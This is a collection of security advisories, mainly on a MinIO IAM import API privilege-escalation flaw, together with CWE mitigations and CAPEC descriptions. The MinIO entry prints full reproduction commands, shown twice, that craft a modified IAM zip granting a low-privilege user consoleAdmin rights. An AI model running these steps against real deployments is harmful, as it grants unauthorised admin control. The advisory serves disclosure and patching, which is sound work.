Summary
OpenFeature Operator vulnerable to Cluster-level Privilege Escalation
Details
Impact
On a node controlled by an attacker or malicious user, the lax permissions configured on open-feature-operator-controller-manager can be used to further escalate the privileges of any service account in the cluster.
The increased privileges could be used to modify cluster state, leading to DoS, or read sensitive data, including secrets.
Patches
The patch mitigates this issue by restricting the resources the open-feature-operator-controller-manager can modify.

Summary
MinIO vulnerable to privilege escalation in IAM import API
Details
Impact
Privilege escalation in IAM import API, all users are impacted since MinIO commit 580d9db85e04f1b63cc2909af50f0ed08afa965f
Patches
commit f246c9053f9603e610d98439799bdd2a6b293427
Author: Aditya Manthramurthy <donatello@users.noreply.github.com>
Date: Wed Dec 11 18:09:40 2024 -0800
fix: Privilege escalation in IAM import API (#20756)
This API had missing permissions checking, allowing a user to change
their policy mapping by:
1. Craft iam-info.zip file: Update own user permission in
user_mappings.json
2. Upload it via `mc admin cluster iam import nobody iam-info.zip`
Here `nobody` can be a user with pretty much any kind of permission (but
not anonymous) and this ends up working.
Some more detailed steps - start from a fresh setup:
```
./minio server /tmp/d{1...4} &
mc alias set myminio http://localhost:9000 minioadmin minioadmin
mc admin user add myminio nobody nobody123
mc admin policy attach myminio readwrite nobody nobody123
mc alias set nobody http://localhost:9000 nobody nobody123
mc admin cluster iam export myminio
mkdir /tmp/x && mv myminio-iam-info.zip /tmp/x
cd /tmp/x
unzip myminio-iam-info.zip
echo '{"nobody":{"version":1,"policy":"consoleAdmin","updatedAt":"2024-08-13T19:47:10.1Z"}}' > \
iam-assets/user_mappings.json
zip -r myminio-iam-info-updated.zip iam-assets/
mc admin cluster iam import nobody ./myminio-iam-info-updated.zip
mc admin service restart nobody
```
Workarounds
There are no workarounds possible, all users are advised to upgrade immediately if you don't run MinIO behind a load balancer.
Behind a load balancer / firewall such as nginx .
location /minio/admin/v2/import-iam {
...
}
location /minio/admin/v3/import-iam-v2 {
...
Following locations can be blocked from external access, temporarily disallowing the API calls completely until the deployments can be upgraded.

"details": "### Impact\nPrivilege escalation in IAM import API, all users are impacted since MinIO commit 580d9db85e04f1b63cc2909af50f0ed08afa965f\n\n### Patches\n```\ncommit f246c9053f9603e610d98439799bdd2a6b293427\nAuthor: Aditya Manthramurthy \u003cdonatello@users.noreply.github.com\u003e\nDate: Wed Dec 11 18:09:40 2024 -0800\n\n fix: Privilege escalation in IAM import API (#20756)\n \n This API had missing permissions checking, allowing a user to change\n their policy mapping by:\n \n 1. Craft iam-info.zip file: Update own user permission in\n user_mappings.json\n 2. Upload it via `mc admin cluster iam import nobody iam-info.zip`\n \n Here `nobody` can be a user with pretty much any kind of permission (but\n not anonymous) and this ends up working.\n \n Some more detailed steps - start from a fresh setup:\n \n ```\n ./minio server /tmp/d{1...4} \u0026\n mc alias set myminio http://localhost:9000 minioadmin minioadmin\n mc admin user add myminio nobody nobody123\n mc admin policy attach myminio readwrite nobody nobody123\n mc alias set nobody http://localhost:9000 nobody nobody123\n \n mc admin cluster iam export myminio\n mkdir /tmp/x \u0026\u0026 mv myminio-iam-info.zip /tmp/x\n cd /tmp/x\n unzip myminio-iam-info.zip\n echo \u0027{\"nobody\":{\"version\":1,\"policy\":\"consoleAdmin\",\"updatedAt\":\"2024-08-13T19:47:10.1Z\"}}\u0027 \u003e \\\n iam-assets/user_mappings.json\n zip -r myminio-iam-info-updated.zip iam-assets/\n \n mc admin cluster iam import nobody ./myminio-iam-info-updated.zip\n mc admin service restart nobody\n ```\n```\n\n### Workarounds\nThere are no workarounds possible, all users are advised to upgrade immediately if you don\u0027t run MinIO behind a load balancer.\n\nBehind a load balancer / firewall such as `nginx` . \n\n```\nlocation /minio/admin/v2/import-iam {\n...\n}\n```\n\n```\nlocation /minio/admin/v3/import-iam-v2 {\n...\n```\n\nFollowing locations can be blocked from external access, temporarily disallowing the API calls completely until the deployments can be upgraded.\n\n### References\nRefer https://github.com/minio/minio/pull/20756 for more information \n\n### Binary Releases\n#### AiStor Containers\n```\nquay.io/minio/aistor/minio:RELEASE.2024-12-13T13-42-41Z\nquay.io/minio/aistor/minio:RELEASE.2024-12-13T13-42-41Z.fips\n```\n\n#### AiStor Binaries\n##### Architecture: `linux/amd64`\n- https://dl.min.io/aistor/minio/release/linux-amd64/archive/minio.RELEASE.2024-12-13T13-42-41Z\n\n##### Architecture: `linux/arm64`\n- https://dl.min.io/aistor/minio/release/linux-arm64/archive/minio.RELEASE.2024-12-13T13-42-41Z\n\n##### Architecture: `windows/amd64`\n- https://dl.min.io/aistor/minio/release/windows-amd64/archive/minio.RELEASE.2024-12-13T13-42-41Z\n\n### Community Containers\n```\nquay.io/minio/minio:RELEASE.2024-12-13T22-19-12Z\nquay.io/minio/minio:RELEASE.2024-12-13T22-19-12Z.fips\n```\n\n### Community Binaries\n##### Architecture: `linux/amd64`\n- https://dl.min.io/server/minio/release/linux-amd64/archive/minio.RELEASE.2024-12-13T22-19-12Z\n\n##### Architecture: `linux/arm64`\n- https://dl.min.io/server/minio/release/linux-arm64/archive/minio.RELEASE.2024-12-13T22-19-12Z\n\n##### Architecture: `windows/amd64`\n- https://dl.min.io/server/minio/release/windows-amd64/archive/minio.RELEASE.2024-12-13T22-19-12Z\n\n### Credits\nCredit goes to [National Security Agency](https://www.nsa.gov/) for reporting this issue.\n",

Mitigation MIT-1
Architecture and Design
Operation
Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.
Mitigation MIT-48
Architecture and Design
Strategy: Separation of Privilege
Follow the principle of least privilege when assigning access rights to entities in a software system.
Mitigation MIT-49
Architecture and Design
Strategy: Separation of Privilege
Consider following the principle of separation of privilege. Require multiple conditions to be met before permitting access to a system resource.
CAPEC-122: Privilege Abuse
An adversary is able to exploit features of the target that should be reserved for privileged users or administrators but are exposed to use by lower or non-privileged accounts. Access to sensitive information and functionality must be controlled to ensure that only authorized users are able to access these resources.
CAPEC-233: Privilege Escalation
An adversary exploits a weakness enabling them to elevate their privilege and perform an action that they are not supposed to be authorized to perform.
CAPEC-58: Restful Privilege Elevation
An adversary identifies a Rest HTTP (Get, Put, Delete) style permission method allowing them to perform various malicious actions upon server data due to lack of access control mechanisms implemented within the application service accepting HTTP messages.
